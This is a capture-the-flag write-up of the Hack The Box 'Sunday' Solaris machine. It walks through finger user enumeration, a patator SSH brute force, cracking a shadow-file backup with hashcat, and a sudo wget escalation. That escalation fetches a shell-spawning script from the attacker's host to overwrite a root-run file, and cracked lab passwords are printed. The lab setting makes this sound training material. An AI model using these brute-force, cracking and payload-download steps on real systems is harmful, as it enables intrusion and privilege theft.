Hack The Box: Sunday Write-up
OVERVIEW
This writeup documents the methods I used to compromise the Sunday machine on the Hack The Box internal Labs network. Cache was an Easy rated Solaris box created by Agent22, worth 20 points while it was active. This writeup will cover enumerating potential users from the fingerd service, brute forcing SSH with patator, cracking a shadow file hash with hashcat, and abusing sudo privileges to wget to escalate to root.
KILL CHAIN
AUTOMATED ENUMERATION
The first Nmap scan I executed against the target host was a quick TCP scan, which targeted the top 1,000 TCP ports by default. I used the -vv flag to display more verbose output, --reason to display the reason a port is in a particular state, -Pn to skip the host discovery checks, -sV to probe for service/version info, -sC to run default scripts, and --version-all to try every single version probe.
nmap -vv --reason -Pn -sV -sC --version-all -oN _quick_tcp_nmap.txt 10.10.10.76
# Nmap 7.91 scan initiated Wed Nov 11 10:29:22 2020 as: nmap -vv --reason -Pn -sV -sC --version-all -oN /home/borari/ctf/htb/boxes/10.10.10.76-sunday/scans/_quick_tcp_nmap.txt -oX /home/borari/ctf/htb/boxes/10.10.10.76-sunday/scans/xml/_quick_tcp_nmap.xml 10.10.10.76
Increasing send delay for 10.10.10.76 from 0 to 5 due to 18 out of 59 dropped probes since last increase.
Nmap scan report for 10.10.10.76
Host is up, received user-set (0.048s latency).
Scanned at 2020-11-11 10:29:22 EST for 117s
Not shown: 998 closed ports
Reason: 998 resets
PORT STATE SERVICE REASON VERSION
79/tcp open finger syn-ack ttl 59 Sun Solaris fingerd
|_finger: No one logged on\x0D
111/tcp open rpcbind syn-ack ttl 63 2-4 (RPC #100000)
Service Info: OS: Solaris; CPE: cpe:/o:sun:sunos
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Nov 11 10:31:19 2020 -- 1 IP address (1 host up) scanned in 117.04 seconds
With the initial port scan complete, I started a full TCP port scan, using -T5 to set the timings to be aggressive, and --max-retries 0 to further speed up the scan.
nmap -vv -Pn -p 1-65535 -sS -T5 -oN _aggressive-_tcp_nmap.txt --max-retries 0 10.10.10.76
# Nmap 7.91 scan initiated Wed Nov 11 12:15:34 2020 as: nmap -vv -Pn -p 1-65535 -sS -T5 -oN _aggressive-_tcp_nmap.txt --max-retries 0 10.10.10.76
Nmap scan report for 10.10.10.76
Host is up, received user-set (0.061s latency).
Scanned at 2020-11-11 12:15:34 EST for 27s
Not shown: 64571 filtered ports, 960 closed ports
Reason: 64571 no-responses and 960 resets
PORT STATE SERVICE REASON
79/tcp open finger syn-ack ttl 59
111/tcp open rpcbind syn-ack ttl 63
22022/tcp open unknown syn-ack ttl 59
39999/tcp open unknown syn-ack ttl 59
53946/tcp open unknown syn-ack ttl 63
Read data files from: /usr/bin/../share/nmap
# Nmap done at Wed Nov 11 12:16:01 2020 -- 1 IP address (1 host up) scanned in 26.73 seconds
Next, I ran a full Nmap TCP service scan, this time just targeting the ports that were seen as open during the previous scan. This enabled me to enumerate the version of the SSH service listening on tcp/22022.
nmap -vv --reason -Pn -A --osscan-guess --version-all -p 111,22022,39999,53946 -oN _known2_tcp_nmap.txt 10.10.10.76
Nmap scan report for 10.10.10.76
Host is up, received user-set (0.046s latency).
Scanned at 2020-11-11 12:19:17 EST for 86s
PORT STATE SERVICE REASON VERSION
111/tcp open rpcbind syn-ack ttl 63
22022/tcp open ssh syn-ack ttl 59 SunSSH 1.3 (protocol 2.0)
| ssh-hostkey:
| 1024 d2:e5:cb:bd:33:c7:01:31:0b:3c:63:d9:82:d9:f1:4e (DSA)
|_ssh-dss AAAAB3NzaC1kc3MAAACBAKQhj2N5gfwsseuHbx/yCXwOkphQCTzDyXaBw5SHg/vRBW9aYPsWUUV0XGZPlVtbhxFylTZGNZTWJyndzQL3aRcQNouwVH8NnQsT63s4uLKsAP3jx4afAwB7049PvisAxtDVMbqg94vxaJkh88VY/EMpASYNrLFtr1mZngrbAzOvAAAAFQCiLK6Oh21fvEjgZ0Yl0IRtONW/wwAAAIAxz1u+bPH+VE7upID2HEvYksXOItmohsDFt0oHmGMHf9TKwZvqQLZRix0eXYu8zLnTIdg7rVYSjGyRhuWeIkl1+0aIJL4/dzB+JthInTGFIngc83MtonLP4Sj3YL20wL9etVh8/M0ZOedntWrQcUW+8cUWZRlgW8q620HZKE8VqAAAAIB0s8wn1ufviVEKXct60uz2ZoduUgg07dfPfzvhpbw232KYUJ6lchTj2p2AV8cD0fk2lok2Qc6Kn/OKSjO9C0PlvG8WWkVVvlISUY4BEhtqtL3aof7PYp5nCrLK+2v+grCLxOvyYpT1OfDMQbahOWGZ9OCwQtQXKP1wYEQMqMsSRg==
39999/tcp open rpcbind syn-ack ttl 59
53946/tcp open unknown syn-ack ttl 63
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
Aggressive OS guesses: Sun Solaris 9 or 10, or OpenSolaris 2009.06 snv_111b (94%), Sun Solaris 10 (93%), Sun Solaris 9 or 10 (SPARC) (92%), Sun OpenSolaris 2008.11 (92%), Sun Solaris 8 (SPARC) (91%), Sun Solaris 9 or 10 (90%), Oracle Solaris 11 (90%), Sun Solaris 9 (89%), Sun Storage 7210 NAS device (89%), Sun Solaris 7 (SPARC) (89%)
No exact OS matches for host (test conditions non-ideal).
TCP/IP fingerprint:
SCAN(V=7.91%E=4%D=11/11%OT=111%CT=%CU=41545%PV=Y%DS=2%DC=T%G=N%TM=5FAC1D6B%P=x86_64-pc-linux-gnu)
SEQ(SP=92%GCD=1%ISR=AA%TI=I%CI=I%II=I%SS=S%TS=7)
SEQ(CI=I)
OPS(O1=NNT11M54DNW0NNS%O2=NNT11M54DNW0NNS%O3=NNT11M54DNW0%O4=NNT11M54DNW0NNS%O5=NNT11M54DNW0NNS%O6=NNT11M54DNNS)
WIN(W1=C265%W2=C265%W3=C1CC%W4=C068%W5=C068%W6=C0B7)
ECN(R=Y%DF=Y%T=40%W=C421%O=M54DNW0NNS%CC=Y%Q=)
T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)
T2(R=N)
T3(R=N)
T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)
T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)
T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)
U1(R=Y%DF=Y%T=FF%IPL=70%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)
IE(R=Y%DFI=Y%T=FF%CD=S)
Network Distance: 2 hops
TRACEROUTE (using port 111/tcp)
HOP RTT ADDRESS
1 45.75 ms 10.10.14.1
2 43.61 ms 10.10.10.76
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Nov 11 12:20:43 2020 -- 1 IP address (1 host up) scanned in 87.04 seconds
The first Nmap service script scan I ran against the target was the NFS script scan against tcp/111, however this didn't provide me with any information. The next check I performed on against the target was a check for any potential NFS mount locations exposed over the RPC bind port on tcp/111, however this did not produce any information either.
showmount -e 10.10.10.76 2>&1 | tee tcp_111_showmount.txt
clnt_create: RPC: Authentication error
The next scan I ran against the target host was the Nmap RPC script scans against tcp/111. These scans failed to produced any information as well.
The final Nmap script scan I ran against the target host was an Nmap SSH service script scan against tcp/22022. The results of this scan indicated that password authentication over SSH was accepted.
nmap -vv --reason -Pn -sV -p 22022 --script="banner,ssh2-enum-algos,ssh-hostkey,ssh-auth-methods" -oN tcp_22022_ssh_nmap.txt 10.10.10.76
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2020-11-11 11:33 EST
NSE: Loaded 49 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 2) scan.
Initiating NSE at 11:33
Completed NSE at 11:33, 0.00s elapsed
NSE: Starting runlevel 2 (of 2) scan.
Initiating NSE at 11:33
Completed NSE at 11:33, 0.00s elapsed
Initiating Parallel DNS resolution of 1 host. at 11:33
Completed Parallel DNS resolution of 1 host. at 11:33, 0.04s elapsed
Initiating SYN Stealth Scan at 11:33
Scanning 10.10.10.76 [1 port]
Discovered open port 22022/tcp on 10.10.10.76
Completed SYN Stealth Scan at 11:33, 0.14s elapsed (1 total ports)
Initiating Service scan at 11:33
Scanning 1 service on 10.10.10.76
Completed Service scan at 11:33, 0.10s elapsed (1 service on 1 host)
NSE: Script scanning 10.10.10.76.
NSE: Starting runlevel 1 (of 2) scan.
Initiating NSE at 11:33
Completed NSE at 11:33, 11.05s elapsed
NSE: Starting runlevel 2 (of 2) scan.
Initiating NSE at 11:33
Completed NSE at 11:33, 0.00s elapsed
Nmap scan report for 10.10.10.76
Host is up, received user-set (0.11s latency).
Scanned at 2020-11-11 11:33:42 EST for 12s
PORT STATE SERVICE REASON VERSION
22022/tcp open ssh syn-ack ttl 59 SunSSH 1.3 (protocol 2.0)
|_banner: SSH-2.0-Sun_SSH_1.3
| ssh-auth-methods:
| Supported authentication methods:
| gssapi-keyex
| gssapi-with-mic
| publickey
| password
|_ keyboard-interactive
| ssh-hostkey:
| 1024 d2:e5:cb:bd:33:c7:01:31:0b:3c:63:d9:82:d9:f1:4e (DSA)
| ssh-dss AAAAB3NzaC1kc3MAAACBAKQhj2N5gfwsseuHbx/yCXwOkphQCTzDyXaBw5SHg/vRBW9aYPsWUUV0XGZPlVtbhxFylTZGNZTWJyndzQL3aRcQNouwVH8NnQsT63s4uLKsAP3jx4afAwB7049PvisAxtDVMbqg94vxaJkh88VY/EMpASYNrLFtr1mZngrbAzOvAAAAFQCiLK6Oh21fvEjgZ0Yl0IRtONW/wwAAAIAxz1u+bPH+VE7upID2HEvYksXOItmohsDFt0oHmGMHf9TKwZvqQLZRix0eXYu8zLnTIdg7rVYSjGyRhuWeIkl1+0aIJL4/dzB+JthInTGFIngc83MtonLP4Sj3YL20wL9etVh8/M0ZOedntWrQcUW+8cUWZRlgW8q620HZKE8VqAAAAIB0s8wn1ufviVEKXct60uz2ZoduUgg07dfPfzvhpbw232KYUJ6lchTj2p2AV8cD0fk2lok2Qc6Kn/OKSjO9C0PlvG8WWkVVvlISUY4BEhtqtL3aof7PYp5nCrLK+2v+grCLxOvyYpT1OfDMQbahOWGZ9OCwQtQXKP1wYEQMqMsSRg==
| 1024 e4:2c:80:62:cf:15:17:79:ff:72:9d:df:8b:a6:c9:ac (RSA)
|_ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEAxAwq7HNZXHr7XEeYeKsbnaruPQyUK5IkSE/FxHesBaKQ37AsLjw8iacqUvcs8IuhPfiTtwuwU42zUHu1e1rmLpRlMyLQnjgJH1++fP5E0Qnxj4DrFr7aeRv1FqPkrnK/xCX46AdgUhs4+4YA04yfi8pOlaSEVucYaqWNhuqJkt8=
| ssh2-enum-algos:
| kex_algorithms: (3)
| gss-group1-sha1-toWM5Slw5Ew8Mqkay+al2g==
| diffie-hellman-group-exchange-sha1
| diffie-hellman-group1-sha1
| server_host_key_algorithms: (2)
| ssh-rsa
| ssh-dss
| encryption_algorithms: (6)
| aes128-ctr
| aes192-ctr
| aes256-ctr
| arcfour128
| arcfour256
| arcfour
| mac_algorithms: (4)
| hmac-md5
| hmac-sha1
| hmac-sha1-96
| hmac-md5-96
| compression_algorithms: (2)
| none
|_ zlib
NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 2) scan.
Initiating NSE at 11:33
Completed NSE at 11:33, 0.00s elapsed
NSE: Starting runlevel 2 (of 2) scan.
Initiating NSE at 11:33
Completed NSE at 11:33, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.04 seconds
Raw packets sent: 1 (44B) | Rcvd: 1 (44B)
MANUAL ENUMERATION
The first connection I attempted to manually establish with the target host was a null RPC session with rpcclient, but I was unable to open a connection.
rpcclient -p 111 -U "" 10.10.10.76
Enter WORKGROUP\'s password:
Since I didn't really know anything about finger, I tried to manually connect with nc. I was able to confirm the finger service was running based on the service banner, and a message was displayed stating no one was logged on.
nc -nv 10.10.10.76 79
(UNKNOWN) [10.10.10.76] 79 (finger) open
No one logged on
This told me that some level of interaction with this service should be possible. I checked Exploit-DB for finger vulnerabilities and while I did find a Remote Buffer Overflow, the PoC only included assembly code to trigger the exploit. I made a note of this in case I needed it later, then moved on.
I was very curious about the reference to logged on users that was displayed when I connected to the port on tcp/79. I searched Google for "fingerd users enumeration" and discovered a PentestMonkey Perl script that could be used to enumerate valid users on the target host in much the same way the SMTP VRFY command can be used to verify users. I downloaded the script to my Kali machine and fired it against the target host. I used a seclists username list as my wordlist.
perl ~/tools/host/prod-scripts/finger-user-enum.pl -U /usr/share/seclists/Usernames/Names/names.txt -t 10.10.10.76 | less -S
Starting finger-user-enum v1.0 ( http://pentestmonkey.net/tools/finger-user-enum )
----------------------------------------------------------
| Scan Information |
----------------------------------------------------------
Worker Processes ......... 5
Usernames file ........... /usr/share/seclists/Usernames/Names/names.txt
Target count ............. 1
Username count ........... 10164
Target TCP port .......... 79
Query timeout ............ 5 secs
Relay Server ............. Not used
######## Scan started at Wed Nov 11 12:12:52 2020 #########
access@10.10.10.76: access No Access User < . . . . >..nobody4 SunOS 4.x NFS Anonym < . . . . >..
admin@10.10.10.76: Login Name TTY Idle When Where..adm Admin < . . . . >..lp Line P>
anne marie@10.10.10.76: Login Name TTY Idle When Where..anne ???..marie ???..
bin@10.10.10.76: bin ??? < . . . . >..
dee dee@10.10.10.76: Login Name TTY Idle When Where..dee ???..dee ???..
jo ann@10.10.10.76: Login Name TTY Idle When Where..jo ???..ann ???..
la verne@10.10.10.76: Login Name TTY Idle When Where..la ???..verne ???..
line@10.10.10.76: Login Name TTY Idle When Where..lp Line Printer Admin < . . . . >..
message@10.10.10.76: Login Name TTY Idle When Where..smmsp SendMail Message Sub < . . . . >..
root@10.10.10.76: root Super-User pts/3 <Apr 24, 2018> sunday ..
sammy@10.10.10.76: sammy console <Jul 31 17:59>..
sunny@10.10.10.76: sunny pts/3 <Apr 24, 2018> 10.10.14.4 ..
sys@10.10.10.76: sys ??? < . . . . >..
zsa zsa@10.10.10.76: Login Name TTY Idle When Where..zsa ???..zsa ???..
######## Scan completed at Wed Nov 11 12:49:26 2020 #########
14 results.
10164 queries in 2194 seconds (4.6 queries / sec)
The only positive results that looked legitimate were sammy and sunny. I also saw that while user sammy was logged in via console, user sunny and user root were both logged in via pty/3.
Next I attempted to connect to the target host using the SSH client on my Kali machine in order to verify that the port on tcp/22022 was indeed an SSH port.
ssh -p 22022 10.10.10.76
Unable to negotiate with 10.10.10.76 port 22022: no matching key exchange method found. Their offer: gss-group1-sha1-toWM5Slw5Ew8Mqkay+al2g==,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1
Based on the output error message, there was an SSH server listening on tcp/22022, but it had to have been fairly old since my SSH client couldn't negotiate a key exchange algorithm. Knowing this, I knew that I would be unable to use Hydra to attempt to brute-force an SSH login.
Instead of using Hydra, I used patator to run a brute-force attack against the SSH server. I created a user word list containing sammy and sunny from the finger enumeration, and I used the rockyou word list for the password list.
patator ssh_login host=10.10.10.76 port=22022 user=FILE0 0=users.txt password=FILE1 1=/usr/share/wordlists/rockyou.txt -x ignore:mesg='Authentication failed.'
This scan took a significant amount of time, quite a few hours. It found a password for user sunny first, and when it did I killed the attack. I logged with sunny:sunday over SSH and began to enumerate.
ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 -p 22022 sunny@10.10.10.76
The authenticity of host '[10.10.10.76]:22022 ([10.10.10.76]:22022)' can't be established.
RSA key fingerprint is SHA256:TmRO9yKIj8Rr/KJIZFXEVswWZB/hic/jAHr78xGp+YU.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[10.10.10.76]:22022' (RSA) to the list of known hosts.
Password:
Last login: Tue Apr 24 10:48:11 2018 from 10.10.14.4
Sun Microsystems Inc. SunOS 5.11 snv_111b November 2008
sunny@sunday:~$
While I was able to log in, the user.txt flag wasn't located in this user's home directory. Hoping that I may have gotten lucky and gotten straight into an account that could pivot to root, I checked the user sunny's sudo privileges.
sudo -l
User sunny may run the following commands on this host:
(root) NOPASSWD: /root/troll
I tried to cat the /root/troll file, but I didn't have the proper permissions. executing the file printed output that looked to be the result of a bash script.
sudo /root/troll
testing
uid=0(root) gid=0(root) groups=0(root)
Since I couldn't see any way to make this sudo privilege advantageous for me, I decided to continue my enumeration. Moving to the file system root, I saw a backup folder that was not located in a standard location.
cd /
ls -lAh
total 524K
drwxr-xr-x 2 root root 4 2018-04-15 20:44 backup
lrwxrwxrwx 1 root root 9 2018-04-15 19:52 bin -> ./usr/bin
drwxr-xr-x 6 root sys 7 2018-04-15 19:52 boot
drwxr-xr-x 2 root root 2 2018-04-16 15:33 cdrom
drwxr-xr-x 87 root sys 265 2020-11-11 22:24 dev
drwxr-xr-x 4 root sys 10 2020-11-11 22:24 devices
drwxr-xr-x 78 root sys 225 2020-11-11 22:25 etc
drwxr-xr-x 3 root root 3 2018-04-15 19:44 export
dr-xr-xr-x 1 root root 1 2020-11-11 22:25 home
drwxr-xr-x 19 root sys 20 2018-04-15 19:45 kernel
drwxr-xr-x 10 root bin 180 2018-04-15 19:45 lib
drwx------ 2 root root 2 2009-05-14 21:27 lost+found
drwxr-xr-x 2 root root 4 2020-11-11 22:25 media
drwxr-xr-x 2 root sys 2 2018-04-15 19:52 mnt
dr-xr-xr-x 1 root root 1 2020-11-11 22:25 net
drwxr-xr-x 4 root sys 4 2018-04-15 19:52 opt
drwxr-xr-x 5 root sys 5 2009-05-14 21:21 platform
dr-xr-xr-x 112 root root 469K 2020-11-11 23:47 proc
drwx------ 6 root root 13 2018-04-24 10:31 root
drwxr-xr-x 4 root root 4 2018-04-15 19:52 rpool
drwxr-xr-x 2 root sys 58 2018-04-15 19:53 sbin
drwxr-xr-x 4 root root 4 2009-05-14 21:18 system
drwxrwxrwt 5 root sys 457 2020-11-11 23:37 tmp
drwxr-xr-x 30 root sys 44 2018-04-15 19:46 usr
drwxr-xr-x 35 root sys 35 2018-04-15 20:26 var
I dropped in to the /backup folder, and saw there was a file named shadow.backup that I had read privileges to. I dumped the file contents, and saw that it was actually a shadow file backup.
cd backup
ls -lAh
total 2.0K
-r-x--x--x 1 root root 53 2018-04-24 10:35 agent22.backup
-rw-r--r-- 1 root root 319 2018-04-15 20:44 shadow.backup
sunny@sunday:/backup$ cat shadow.backup
mysql:NP:::::::
openldap:*LK*:::::::
webservd:*LK*:::::::
postgres:NP:::::::
svctag:*LK*:6445::::::
nobody:*LK*:6445::::::
noaccess:*LK*:6445::::::
nobody4:*LK*:6445::::::
sammy:$5$Ebkn8jlK$i6SSPa0.u7Gd.0oJOT4T421N2OvsfXqAT1vCoYUOigB:6445::::::
sunny:$5$iRMbpnBv$Zh7s6D7ColnogCdiVE5Flz9vCZOMkUFxklRhhaShxv3:17636::::::
I grabbed the hashes and put them in a file on my Kali host. After looking up the hash type on the hashcat example hashes page and determining these hashes were Unix SHA256 hashes, I fed them into Hashcat.
hashcat -m7400 -a 0 --username --session sunday shadow.hashes /usr/share/wordlists/rockyou.txt -O
hashcat (v6.1.1) starting...
OpenCL API (OpenCL 1.2 pocl 1.5, None+Asserts, LLVM 9.0.1, RELOC, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
=============================================================================================================================
* Device #1: pthread-Intel(R) Core(TM) i7-9750H CPU @ 2.60GHz, 5851/5915 MB (2048 MB allocatable), 4MCU
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 55
Hashes: 2 digests; 2 unique digests, 2 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
Applicable optimizers applied:
* Optimized-Kernel
* Zero-Byte
Watchdog: Hardware monitoring interface not found on your system.
Watchdog: Temperature abort trigger disabled.
Host memory required for this attack: 65 MB
Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344387
* Bytes.....: 139921525
* Keyspace..: 14344387
$5$iRMbpnBv$Zh7s6D7ColnogCdiVE5Flz9vCZOMkUFxklRhhaShxv3:sunday
$5$Ebkn8jlK$i6SSPa0.u7Gd.0oJOT4T421N2OvsfXqAT1vCoYUOigB:cooldude!
Session..........: sunday
Status...........: Cracked
Hash.Name........: sha256crypt $5$, SHA256 (Unix)
Hash.Target......: shadow.hashes
Time.Started.....: Wed Nov 11 13:18:54 2020 (14 mins, 29 secs)
Time.Estimated...: Wed Nov 11 13:33:23 2020 (0 secs)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 219 H/s (18.53ms) @ Accel:8 Loops:1024 Thr:1 Vec:8
Recovered........: 2/2 (100.00%) Digests, 2/2 (100.00%) Salts
Progress.........: 407104/28688774 (1.42%)
Rejected.........: 0/407104 (0.00%)
Restore.Point....: 203520/14344387 (1.42%)
Restore.Sub.#1...: Salt:1 Amplifier:0-1 Iteration:4096-5000
Candidates.#1....: coolpeople -> contrase
Started: Wed Nov 11 13:18:19 2020
Stopped: Wed Nov 11 13:33:25 2020
Hashcat was able to crack the password hash for user sammy! I hopped back over to my open SSH shell, and tried to su into user sammy. This was successful, and I was able to print out the user.txt flag.
su - sammy
Password:
Sun Microsystems Inc. SunOS 5.11 snv_111b November 2008
sammy@sunday:~$
ESCALATION OF PRIVILEGE
I began my root escalation enumeration by checking if sammy had sudo privileges to anything other than /root/troll either. I found that sammy didn't have sudo privileges for that file, but that sammy did have them for wget.
sudo -l
User sammy may run the following commands on this host:
(root) NOPASSWD: /usr/bin/wget
I checked gtfobins to see if there was an easy shell escape escalation with wget, but there was not. I did learn that the elevated privileges stay with all wget's subprocesses when ran with sudo however. Checking the wget help text, I saw that using the -i flag would allow me to include URLs for download from a local file. Since this sounded a lot like a file inclusion vulnerability, I tested it out on /root/troll.
sudo wget -i /root/troll
/root/troll: Invalid URL #!/usr/bin/bash: Unsupported scheme
/root/troll: Invalid URL /usr/bin/echo "testing": Unsupported scheme
/root/troll: Invalid URL /usr/bin/id: Unsupported scheme
No URLs found in /root/troll.
The file inclusion was successful, and I could read arbitrary files as root through the error output. Having arbitrary read was nice, but I wanted to be able to write files as well. Since wget has the -O flag to direct the output file, and user sunny had sudo privileges to /root/troll, I decided to attempt to overwrite /root/troll with a file that, when executed, would simply spawn a bash shell. I wrote the payload to ./troll, then started a Python web server.
cat troll
#!/usr/bin/bash
bash
python -m SimpleHTTPServer 80
Finally, I executed the wget command elevated with sudo from the context of sammy, dropped back down to my shell as sunny, and executed the script at /root/troll elevated with sudo, and confirmed the newly spawned bash shell was in the context of root.
sudo wget 10.10.14.14/troll -O /root/troll
--01:07:16-- http://10.10.14.14/troll
=> `/root/troll'
Connecting to 10.10.14.14:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 23 [application/octet-stream]
100%[===========================>] 23 --.--K/s
01:07:16 (4.04 MB/s) - `/root/troll' saved [23/23]
exit
sudo /root/troll
root@sunday:~#
id
uid=0(root) gid=0(root) groups=0(root),1(other),2(bin),3(sys),4(adm),5(uucp),6(mail),7(tty),8(lp),9(nuucp),12(daemon)
I was then able to print out the contents of the root.txt flag, demonstrating I had gained full root-level compromise of the target host.
FINAL THOUGHTS
This machine was pretty straightforward, but I really didn't like it. I had a ton of issues while SSH'd in to the box, including SSH input just timing out for a period of time, mid-input. Once I had both user's credentials I even reset the box, thinking by SSH brute-force attack might have caused some stability issues with the SSH server, but the issues persisted even after the machine reset. Due to those issues, this otherwise enjoyable box was an absolute pain to work on.